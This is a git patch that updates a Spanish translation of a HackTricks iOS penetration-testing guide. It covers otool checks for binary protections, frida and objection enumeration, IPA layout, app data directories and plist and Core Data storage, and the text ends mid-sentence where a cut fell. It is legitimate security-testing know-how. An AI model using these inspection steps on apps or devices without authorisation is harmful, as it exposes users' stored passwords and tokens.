From 358ed99e28663a1b15bf419bfe9cd2d1b991c59c Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 10 Jul 2023 09:44:12 +0000 Subject: [PATCH] Translated ['mobile-pentesting/ios-pentesting/README.md', 'mobile-pentes --- mobile-pentesting/ios-pentesting/README.md | 1158 ++++++++--------- .../ios-pentesting/ios-testing-environment.md | 168 ++- 2 files changed, 661 insertions(+), 665 deletions(-) diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md index 7ffc4145a..a25a36772 100644 --- a/mobile-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -1,14 +1,28 @@ -# Pentesting iOS +# iOS Pentesting ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Utilice [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\ -Obtenga acceso hoy: +Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.\ +Obtenga acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Fundamentos de iOS +## iOS Pentesting + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Conceptos básicos de iOS {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) @@ -16,7 +30,7 @@ Obtenga acceso hoy: ## Entorno de prueba -En esta página puede encontrar información sobre el **simulador de iOS**, **emuladores** y **jailbreaking:** +En esta página puedes encontrar información sobre el **simulador de iOS**, **emuladores** y **jailbreaking**: {% content-ref url="ios-testing-environment.md" %} [ios-testing-environment.md](ios-testing-environment.md) @@ -24,9 +38,9 @@ En esta página puede encontrar información sobre el **simulador de iOS**, **em ## Análisis inicial -### Operaciones básicas de prueba de iOS +### Operaciones básicas de prueba en iOS -Durante la prueba se sugerirán **varias operaciones** (conectar al dispositivo, leer/escribir/subir/bajar archivos, usar algunas herramientas...). Por lo tanto, si no sabe cómo realizar alguna de estas acciones, **comience leyendo la página**: +Durante la prueba se sugerirán **varias operaciones** (conectar al dispositivo, leer/escribir/subir/descargar archivos, usar algunas herramientas...). Por lo tanto, si no sabes cómo realizar alguna de estas acciones, **empieza leyendo la página**: {% content-ref url="basic-ios-testing-operations.md" %} [basic-ios-testing-operations.md](basic-ios-testing-operations.md) @@ -34,7 +48,7 @@ Durante la prueba se sugerirán **varias operaciones** (conectar al dispositivo, {% hint style="info" %} Para los siguientes pasos, **la aplicación debe estar instalada** en el dispositivo y ya se debe haber obtenido el **archivo IPA** de la aplicación.\ -Lea la página [Operaciones básicas de prueba de iOS](basic-ios-testing-operations.md) para aprender cómo hacer esto. +Lee la página [Operaciones básicas de prueba en iOS](basic-ios-testing-operations.md) para aprender cómo hacer esto. {% endhint %} ### Análisis estático básico @@ -43,167 +57,166 @@ Se recomienda utilizar la herramienta [**MobSF**](https://github.com/MobSF/Mobil Identificación de **protecciones presentes en el binario**: -* **PIE (Ejecutable independiente de la posición)**: Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial. +* **PIE (Ejecutable de posición independiente)**: Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial. - ``` - otool -hv | grep PIE # Debería incluir la bandera PIE - ``` -* **Canarios de pila**: Para validar la integridad de la pila, se coloca un valor de "canario" en la pila antes de llamar a una función y se valida nuevamente una vez que la función termina. +``` +otool -hv | grep PIE # Debería incluir la marca PIE +``` +* **Canarios de pila**: Para validar la integridad de la pila, se coloca un valor "canario" en la pila antes de llamar a una función y se valida nuevamente una vez que la función termina. - ``` - otool -I -v | grep stack_chk # Debería incluir los símbolos: stack_chk_guard y stack_chk_fail - ``` -* **ARC (Conteo automático de referencias)**: Para evitar fallas comunes de corrupción de memoria +``` +otool -I -v | grep stack_chk # Debería incluir los símbolos: stack_chk_guard y stack_chk_fail +``` +* **ARC (Conteo automático de referencias)**: Para prevenir fallas comunes de corrupción de memoria - ``` - otool -I -v | grep objc_release # Debería incluir el símbolo _objc_release - ``` +``` +otool -I -v | grep objc_release # Debería incluir el símbolo _objc_release +``` * **Binario cifrado**: El binario debe estar cifrado - ``` - otool -arch all -Vl | grep -A5 LC_ENCRYPT # El cryptid debería ser 1 - ``` +``` +otool -arch all -Vl | grep -A5 LC_ENCRYPT # El cryptid debería ser 1 +``` **Identificación de funciones sensibles/inseguras** * **Algoritmos de hash débiles** - ``` - # En el dispositivo iOS - otool -Iv | grep -w "_CC_MD5" - otool -Iv | grep -w "_CC_SHA1" +``` +# En el dispositivo iOS +otool -Iv | grep -w "_CC_MD5" +otool -Iv | grep -w "_CC_SHA1" - # En linux - grep -iER "_CC_MD5" - grep -iER "_CC_SHA1" - ``` -* **Funciones aleatorias inseguras** +# En Linux +grep -iER "_CC_MD5" +grep -iER "_CC_SHA1" +``` +* **Funciones de generación de números aleatorios inseguras** - ``` - # En el dispositivo iOS - otool -Iv | grep -w "_random" - otool -Iv | grep -w "_srand" - otool -Iv | grep -w "_rand" +``` +# En el dispositivo iOS +otool -Iv | grep -w "_random" +otool -Iv | grep -w "_srand" +otool -Iv | grep -w "_rand" - # En linux - grep -iER "_random" - grep -iER "_srand" - grep -iER "_rand" - ``` +# En Linux +grep -iER "_random" +grep -iER "_srand" +grep -iER "_rand" +``` * **Función 'Malloc' insegura** - ``` - # En el dispositivo iOS - otool -Iv | grep -w "_malloc" +``` +# En el dispositivo iOS +otool -Iv | grep -w "_malloc" - # En linux - grep -iER "_malloc" - ``` +# En Linux +grep -iER "_malloc" +``` * **Funciones inseguras y vulnerables** - ``` - # En el dispositivo iOS - otool -Iv | grep -w "_gets" - otool -Iv | grep -w "_memcpy" - otool -Iv | grep -w "_strncpy" - otool -Iv | grep -w "_strlen" - otool -Iv | grep -w "_vsnprintf" - otool -Iv | grep -w "_sscanf" - otool -Iv | grep -w "_strtok" - otool -Iv | grep -w "_alloca" - otool -Iv | grep -w "_sprintf" - otool -Iv | grep -w "_printf" - otool -Iv | grep -w "_vsprintf" +``` +# En el dispositivo iOS +otool -Iv | grep -w "_gets" +otool -Iv | grep -w "_memcpy" +otool -Iv | grep -w "_strncpy" +otool -Iv | grep -w "_strlen" +otool -Iv | grep -w "_vsnprintf" +otool -Iv | grep -w "_sscanf" +otool -Iv | grep -w "_strtok" +otool -Iv | grep -w "_alloca" +otool -Iv | grep -w "_sprintf" +otool -Iv | grep -w "_printf" +otool -Iv | grep -w "_vsprintf" - # En linux - grep -R "_gets" - grep -iER "_memcpy" - grep -iER "_strncpy" - grep -iER "_strlen" - grep -iER "_vsnprintf" - grep -iER "_sscanf" - grep -iER "_strtok" - grep -iER "_alloca" - grep -iER "_sprintf" - grep -iER "_printf" - grep -iER "_vsprintf" - ``` +# En Linux +grep -R "_gets" +grep -iER "_memcpy" +grep -iER "_strncpy" +grep -iER "_strlen" +grep -iER "_vsnprintf" +grep -iER "_sscanf" +grep -iER "_strtok" +grep -iER "_alloca" +grep -iER "_sprintf" +grep -iER "_printf" +grep -iER "_vsprintf" +``` +### Análisis Dinámico Básico -### Análisis dinámico básico +Echa un vistazo al análisis dinámico que realiza [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Deberás navegar por las diferentes vistas e interactuar con ellas, pero el programa enganchará varias clases y realizará otras acciones, y al final generará un informe. -Consulte el análisis dinámico que realiza [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Tendrá que navegar por las diferentes vistas e interactuar con ellas, pero se enganchará en varias clases al hacer otras cosas y preparará un informe una vez que haya terminado. +### Listado de Aplicaciones Instaladas -### Listado de aplicaciones instaladas - -Cuando se apuntan aplicaciones que están instaladas en el dispositivo, primero debe averiguar el identificador de paquete correcto de la aplicación que desea analizar. Puede usar `frida-ps -Uai` para obtener todas las aplicaciones (`-a`) actualmente instaladas (`-i`) en el dispositivo USB conectado (`-U`): +Cuando te dirijas a las aplicaciones instaladas en el dispositivo, primero tendrás que averiguar el identificador de paquete correcto de la aplicación que deseas analizar. Puedes utilizar `frida-ps -Uai` para obtener todas las aplicaciones (`-a`) actualmente instaladas (`-i`) en el dispositivo USB conectado (`-U`): ```bash $ frida-ps -Uai - PID Name Identifier +PID Name Identifier ---- ------------------- ----------------------------------------- 6847 Calendar com.apple.mobilecal 6815 Mail com.apple.mobilemail - - App Store com.apple.AppStore - - Apple Store com.apple.store.Jolly - - Calculator com.apple.calculator - - Camera com.apple.camera - - iGoat-Swift OWASP.iGoat-Swift +- App Store com.apple.AppStore +- Apple Store com.apple.store.Jolly +- Calculator com.apple.calculator +- Camera com.apple.camera +- iGoat-Swift OWASP.iGoat-Swift ``` -### Enumeración Básica y Hooking +### Enumeración básica y Hooking -Aprende cómo **enumerar los componentes de la aplicación** y cómo **enganchar fácilmente métodos y clases** con Objection: +Aprende cómo **enumerar los componentes de la aplicación** y cómo **enganchar fácilmente métodos y clases** con objection: {% content-ref url="ios-hooking-with-objection.md" %} [ios-hooking-with-objection.md](ios-hooking-with-objection.md) {% endcontent-ref %} -### Estructura IPA +### Estructura de IPA -Los archivos `.ipa` son **paquetes comprimidos**, por lo que puedes cambiar la extensión a `.zip` y **descomprimirlos**. Una aplicación **empaquetada** completa lista para ser instalada se conoce comúnmente como un **Bundle**.\ +Los archivos `.ipa` son **paquetes comprimidos**, por lo que puedes cambiar la extensión a `.zip` y **descomprimirlos**. Una aplicación **empaquetada completa** lista para ser instalada se conoce comúnmente como un **Bundle**.\ Después de descomprimirlos, deberías ver `.app`, un archivo comprimido que contiene el resto de los recursos. * `Info.plist`: Un archivo que contiene algunas de las configuraciones específicas de la aplicación. * `_CodeSignature/` contiene un archivo plist con una firma sobre todos los archivos en el bundle. * `Assets.car`: Otro archivo comprimido que contiene recursos (iconos). * `Frameworks/` contiene las bibliotecas nativas de la aplicación como archivos .dylib o .framework. -* `PlugIns/` puede contener extensiones de aplicaciones como archivos .appex (no presentes en el ejemplo). -* [`Core Data`](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de la aplicación para su uso sin conexión, para almacenar en caché los datos temporales y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en varios dispositivos en una sola cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor de CloudKit. +* `PlugIns/` puede contener extensiones de la aplicación como archivos .appex (no presentes en el ejemplo). +* [`Core Data`](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para su uso sin conexión, para almacenar datos temporales en caché y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en varios dispositivos en una sola cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor de CloudKit. * [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o bundle. -* **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idiomas que contienen recursos para esos idiomas específicos y un recurso predeterminado en caso de que un idioma no sea compatible. +* **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idioma que contienen recursos para esos idiomas específicos y un recurso predeterminado en caso de que no se admita un idioma. Hay varias formas de definir la interfaz de usuario en una aplicación iOS: archivos _storyboard_, _nib_ o _xib_. **Info.plist** -La lista de propiedades de información o `Info.plist` es la principal fuente de información para una aplicación iOS. Consiste en un archivo estructurado que contiene pares de **clave-valor** que describen información de configuración esencial sobre la aplicación. En realidad, se espera que todos los ejecutables empaquetados (extensiones de aplicaciones, frameworks y aplicaciones) tengan un archivo `Info.plist`. Puedes encontrar todas las claves posibles en la [**Documentación de Desarrolladores de Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). +La lista de propiedades de información o `Info.plist` es la principal fuente de información para una aplicación iOS. Consiste en un archivo estructurado que contiene pares de **clave-valor** que describen información de configuración esencial sobre la aplicación. En realidad, se espera que todos los ejecutables empaquetados (extensiones de la aplicación, frameworks y aplicaciones) tengan un archivo `Info.plist`. Puedes encontrar todas las claves posibles en la [**Documentación para desarrolladores de Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). -El archivo puede estar formateado en **XML o binario (bplist)**. Puedes **convertirlo a formato XML** con un simple comando: +El archivo puede estar formateado en formato **XML o binario (bplist)**. Puedes **convertirlo a formato XML** con un simple comando: * En macOS con `plutil`, que es una herramienta que viene de forma nativa con macOS 10.2 y versiones superiores (actualmente no hay documentación oficial en línea disponible): - ```bash - $ plutil -convert xml1 Info.plist - ``` +```bash +$ plutil -convert xml1 Info.plist +``` * En Linux: - ```bash - $ apt install libplist-utils - $ plistutil -i Info.plist -o Info_xml.plist - ``` +```bash +$ apt install libplist-utils +$ plistutil -i Info.plist -o Info_xml.plist +``` -Aquí hay una lista no exhaustiva de algunas informaciones y las palabras clave correspondientes que puedes buscar fácilmente en el archivo `Info.plist` simplemente inspeccionando el archivo o usando `grep -i Info.plist`: +Aquí tienes una lista no exhaustiva de algunas informaciones y las palabras clave correspondientes que puedes buscar fácilmente en el archivo `Info.plist` simplemente inspeccionando el archivo o usando `grep -i Info.plist`: * Cadenas de propósito de permisos de la aplicación: `UsageDescription` * Esquemas de URL personalizados: `CFBundleURLTypes` * Tipos de documentos personalizados exportados/importados: `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations` -* Configuración de Seguridad de Transporte de la Aplicación (ATS): `NSAppTransportSecurity` +* Configuración de Seguridad de Transporte de Aplicación (ATS): `NSAppTransportSecurity` -Por favor, consulta los capítulos mencionados para aprender más sobre cómo probar cada uno de estos puntos. +Consulta los capítulos mencionados para obtener más información sobre cómo probar cada uno de estos puntos. -**Rutas de Datos** +**Rutas de datos** -En iOS, las **aplicaciones del sistema se pueden encontrar en el directorio `/Applications`** mientras que las aplicaciones **instaladas por el usuario** están disponibles en **`/private/var/containers/`**. Sin embargo, encontrar la carpeta correcta navegando por el sistema de archivos no es una tarea trivial ya que **cada aplicación recibe un UUID (Identificador Único Universal) de 128 bits aleatorio** asignado para sus nombres de directorio. +En iOS, las aplicaciones del sistema se pueden encontrar en el directorio `/Applications`, mientras que las aplicaciones instaladas por el usuario están disponibles en `/private/var/containers/`. Sin embargo, encontrar la carpeta correcta solo navegando por el sistema de archivos no es una tarea trivial, ya que a cada aplicación se le asigna un UUID (Identificador Único Universal) de 128 bits aleatorio para los nombres de sus directorios. -Para obtener fácilmente la información del directorio de instalación de las aplicaciones instaladas por el usuario, puedes usar el comando **`env`** de Objection que también te mostrará toda la información del directorio de la aplicación: +Para obtener fácilmente la información del directorio de instalación de las aplicaciones instaladas por el usuario, puedes usar el comando `env` de objection, que también te mostrará toda la información del directorio de la aplicación: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -214,51 +227,51 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library ``` -Como se puede ver, las aplicaciones tienen dos ubicaciones principales: +Como puedes ver, las aplicaciones tienen dos ubicaciones principales: * El **directorio Bundle** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`). -* El **directorio de datos** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`). +* El **directorio de Datos** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`). Estas carpetas contienen información que debe ser examinada detenidamente durante las evaluaciones de seguridad de la aplicación (por ejemplo, al analizar los datos almacenados en busca de datos sensibles). **Directorio Bundle:** * **AppName.app** - * Este es el paquete de la aplicación como se vio antes en el IPA, contiene datos esenciales de la aplicación, contenido estático y el binario compilado de la aplicación. - * Este directorio es visible para los usuarios, pero **los usuarios no pueden escribir en él**. - * El contenido de este directorio **no se respalda**. - * El contenido de esta carpeta se utiliza para **validar la firma del código**. +* Este es el paquete de la aplicación como se ve antes en el IPA, contiene datos esenciales de la aplicación, contenido estático y el binario compilado de la aplicación. +* Este directorio es visible para los usuarios, pero **los usuarios no pueden escribir en él**. +* El contenido de este directorio **no se respalda**. +* El contenido de esta carpeta se utiliza para **validar la firma del código**. -**Directorio de datos:** +**Directorio de Datos:** * **Documents/** - * Contiene todos los datos generados por el usuario. El usuario final de la aplicación inicia la creación de estos datos. - * Visible para los usuarios y **los usuarios pueden escribir en él**. - * El contenido de este directorio **se respalda**. - * La aplicación puede deshabilitar las rutas estableciendo `NSURLIsExcludedFromBackupKey`. +* Contiene todos los datos generados por el usuario. El usuario final de la aplicación inicia la creación de estos datos. +* Visible para los usuarios y **los usuarios pueden escribir en él**. +* El contenido de este directorio **se respalda**. +* La aplicación puede deshabilitar rutas estableciendo `NSURLIsExcludedFromBackupKey`. * **Library/** - * Contiene todos los **archivos que no son específicos del usuario**, como **cachés**, **preferencias**, **cookies** y archivos de configuración de lista de propiedades (plist). - * Las aplicaciones de iOS suelen utilizar los subdirectorios `Application Support` y `Caches`, pero la aplicación puede crear subdirectorios personalizados. +* Contiene todos los **archivos que no son específicos del usuario**, como **cachés**, **preferencias**, **cookies** y archivos de configuración de listas de propiedades (plist). +* Las aplicaciones de iOS suelen utilizar los subdirectorios `Application Support` y `Caches`, pero la aplicación puede crear subdirectorios personalizados. * **Library/Caches/** - * Contiene archivos en caché **semipermanentes**. - * Invisible para los usuarios y **los usuarios no pueden escribir en él**. - * El contenido de este directorio **no se respalda**. - * El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es bajo. +* Contiene archivos en caché **semipersistentes**. +* Invisible para los usuarios y **los usuarios no pueden escribir en él**. +* El contenido de este directorio **no se respalda**. +* El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es escaso. * **Library/Application Support/** - * Contiene **archivos persistentes** necesarios para ejecutar la aplicación. - * **Invisible** **para** **los** **usuarios** y los usuarios no pueden escribir en él. - * El contenido de este directorio **se respalda**. - * La aplicación puede deshabilitar las rutas estableciendo `NSURLIsExcludedFromBackupKey`. +* Contiene archivos **persistentes** necesarios para ejecutar la aplicación. +* **Invisible** para los usuarios y los usuarios no pueden escribir en él. +* El contenido de este directorio **se respalda**. +* La aplicación puede deshabilitar rutas estableciendo `NSURLIsExcludedFromBackupKey`. * **Library/Preferences/** - * Se utiliza para almacenar propiedades que pueden **persistir incluso después de que se reinicie una aplicación**. - * La información se guarda sin cifrar dentro del sandbox de la aplicación en un archivo plist llamado \[BUNDLE\_ID].plist. - * Todos los pares clave/valor almacenados con `NSUserDefaults` se pueden encontrar en este archivo. +* Se utiliza para almacenar propiedades que pueden **persistir incluso después de reiniciar la aplicación**. +* La información se guarda sin cifrar dentro del sandbox de la aplicación en un archivo plist llamado \[BUNDLE\_ID].plist. +* Todos los pares clave/valor almacenados usando `NSUserDefaults` se pueden encontrar en este archivo. * **tmp/** - * Use este directorio para escribir **archivos temporales** que no necesitan persistir entre los lanzamientos de la aplicación. - * Contiene archivos en caché no persistentes. - * **Invisible** para los usuarios. - * El contenido de este directorio no se respalda. - * El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es bajo. +* Utiliza este directorio para escribir archivos **temporales** que no necesitan persistir entre lanzamientos de la aplicación. +* Contiene archivos en caché no persistentes. +* **Invisible** para los usuarios. +* El contenido de este directorio no se respalda. +* El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no se está ejecutando y el espacio de almacenamiento es escaso. Echemos un vistazo más de cerca al directorio de paquetes de la aplicación (.app) de iGoat-Swift dentro del directorio Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): ```bash @@ -279,20 +292,20 @@ Regular 420 None ... README.txt Dentro de la carpeta `.app` encontrarás un archivo binario llamado ``. Este es el archivo que se **ejecutará**. Puedes realizar una inspección básica del binario con la herramienta **`otool`**: ```bash otool -Vh DVIA-v2 #Check some compilation attributes - magic cputype cpusubtype caps filetype ncmds sizeofcmds flags +magic cputype cpusubtype caps filetype ncmds sizeofcmds flags MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE otool -L DVIA-v2 #Get third party libraries DVIA-v2: - /usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1) - /usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0) - /usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11) - @rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0) +/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1) +/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0) +/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11) +@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0) [...] ``` **Verificar si la aplicación está encriptada** -Verifique si hay alguna salida para: +Verificar si hay alguna salida para: ```bash otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` @@ -312,19 +325,19 @@ DVIA-v2: 0000000100004acc adrp x10, 1098 ; 0x10044e000 0000000100004ad0 add x10, x10, #0x268 ``` -Para imprimir el **segmento Objective-C** de la aplicación de ejemplo se puede utilizar: +Para imprimir el **segmento Objective-C** de la aplicación de muestra, se puede utilizar: ```bash otool -oV DVIA-v2 DVIA-v2: Contents of (__DATA,__objc_classlist) section 00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog - isa 0x1004423a8 _OBJC_METACLASS_$_DDLog - superclass 0x0 _OBJC_CLASS_$_NSObject - cache 0x0 __objc_empty_cache - vtable 0x0 - data 0x1003de748 - flags 0x80 - instanceStart 8 +isa 0x1004423a8 _OBJC_METACLASS_$_DDLog +superclass 0x0 _OBJC_CLASS_$_NSObject +cache 0x0 __objc_empty_cache +vtable 0x0 +data 0x1003de748 +flags 0x80 +instanceStart 8 ``` Para obtener un código Objective-C más compacto, puedes usar [**class-dump**](http://stevenygard.com/projects/class-dump/): ```bash @@ -338,18 +351,18 @@ class-dump some-app #pragma mark Named Structures struct CGPoint { - double _field1; - double _field2; +double _field1; +double _field2; }; struct CGRect { - struct CGPoint _field1; - struct CGSize _field2; +struct CGPoint _field1; +struct CGSize _field2; }; struct CGSize { - double _field1; - double _field2; +double _field1; +double _field2; }; ``` Sin embargo, las mejores opciones para desensamblar el binario son: [**Hopper**](https://www.hopperapp.com/download.html?) y [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/). @@ -357,120 +370,120 @@ Sin embargo, las mejores opciones para desensamblar el binario son: [**Hopper**] ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Utilice [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad **más avanzadas del mundo**.\ -Obtenga acceso hoy: +Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ +Obtén acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Almacenamiento de datos -Para aprender cómo iOS almacena datos en el dispositivo, lea esta página: +Para aprender cómo iOS almacena datos en el dispositivo, lee esta página: {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) {% endcontent-ref %} {% hint style="warning" %} -Los siguientes lugares para almacenar información deben ser revisados **justo después de instalar la aplicación**, **después de verificar todas las funcionalidades** de la aplicación e incluso después de **cerrar sesión de un usuario e iniciar sesión en otro**.\ -El objetivo es encontrar **información sensible no protegida** de la aplicación (contraseñas, tokens), del usuario actual y de los usuarios que iniciaron sesión anteriormente. +Los siguientes lugares para almacenar información deben ser verificados **justo después de instalar la aplicación**, **después de verificar todas las funcionalidades** de la aplicación e incluso después de **cerrar sesión de un usuario y acceder con otro**.\ +El objetivo es encontrar **información sensible no protegida** de la aplicación (contraseñas, tokens), del usuario actual y de usuarios que hayan iniciado sesión anteriormente. {% endhint %} ### Plist -Los archivos **plist** son archivos XML estructurados que **contienen pares clave-valor**. Es una forma de almacenar datos persistentes, por lo que a veces puede encontrar **información sensible en estos archivos**. Se recomienda revisar estos archivos después de instalar la aplicación y después de usarla intensivamente para ver si se escribe nueva información. +Los archivos **plist** son archivos XML estructurados que **contienen pares clave-valor**. Es una forma de almacenar datos persistentes, por lo que a veces puedes encontrar **información sensible en estos archivos**. Se recomienda verificar estos archivos después de instalar la aplicación y después de usarla intensivamente para ver si se escriben nuevos datos. La forma más común de persistir datos en archivos plist es a través del uso de **NSUserDefaults**. Este archivo plist se guarda dentro del sandbox de la aplicación en **`Library/Preferences/.plist`** -La clase [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) proporciona una interfaz programática para interactuar con el sistema predeterminado. El sistema predeterminado permite que una aplicación personalice su comportamiento de acuerdo con las **preferencias del usuario**. Los datos guardados por `NSUserDefaults` se pueden ver en el paquete de la aplicación. Esta clase almacena **datos** en un **archivo plist**, pero está destinada a ser utilizada con pequeñas cantidades de datos. +La clase [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) proporciona una interfaz programática para interactuar con el sistema predeterminado. El sistema predeterminado permite que una aplicación personalice su comportamiento según las **preferencias del usuario**. Los datos guardados por `NSUserDefaults` se pueden ver en el paquete de la aplicación. Esta clase almacena **datos** en un **archivo plist**, pero está destinada a ser utilizada con pequeñas cantidades de datos. -Estos datos ya no se pueden acceder directamente a través de una computadora confiable, pero se pueden acceder realizando una **copia de seguridad**. +Estos datos no se pueden acceder directamente a través de una computadora de confianza, pero se pueden acceder realizando una **copia de seguridad**. -Puede **volcar** la información guardada usando **`NSUserDefaults`** utilizando `ios nsuserdefaults get` de objection. +Puedes **volcar** la información guardada utilizando **`NSUserDefaults`** utilizando el comando `ios nsuserdefaults get` de objection. -Para encontrar todos los archivos plist utilizados por la aplicación, puede acceder a `/private/var/mobile/Containers/Data/Application/{APPID}` y ejecutar: +Para encontrar todos los archivos plist utilizados por la aplicación, puedes acceder a `/private/var/mobile/Containers/Data/Application/{APPID}` y ejecutar: ```bash find ./ -name "*.plist" ``` -El archivo puede estar formateado en **XML o binario (bplist)**. Puedes **convertirlo al formato XML** con un simple comando: +El archivo puede estar formateado en **XML o binario (bplist)**. Puedes **convertirlo a formato XML** con un simple comando: * En macOS con `plutil`, que es una herramienta que viene de forma nativa con macOS 10.2 y versiones superiores (actualmente no hay documentación oficial en línea disponible): - ```bash - $ plutil -convert xml1 Info.plist - ``` +```bash +$ plutil -convert xml1 Info.plist +``` * En Linux: - ```bash - $ apt install libplist-utils - $ plistutil -i Info.plist -o Info_xml.plist - ``` +```bash +$ apt install libplist-utils +$ plistutil -i Info.plist -o Info_xml.plist +``` * En una sesión de objection: - ```bash - ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist - ``` +```bash +ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist +``` ### Core Data [`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) es un marco para administrar la capa de modelo de objetos en tu aplicación. [Core Data puede usar SQLite como su almacenamiento persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), pero el marco en sí no es una base de datos.\ -CoreData no cifra sus datos por defecto. Sin embargo, se puede agregar una capa de cifrado adicional a CoreData. Consulta el [repositorio de GitHub](https://github.com/project-imas/encrypted-core-data) para obtener más detalles. +CoreData no encripta sus datos de forma predeterminada. Sin embargo, se puede agregar una capa adicional de encriptación a CoreData. Consulta el [Repositorio de GitHub](https://github.com/project-imas/encrypted-core-data) para obtener más detalles. Puedes encontrar la información de SQLite Core Data de una aplicación en la ruta 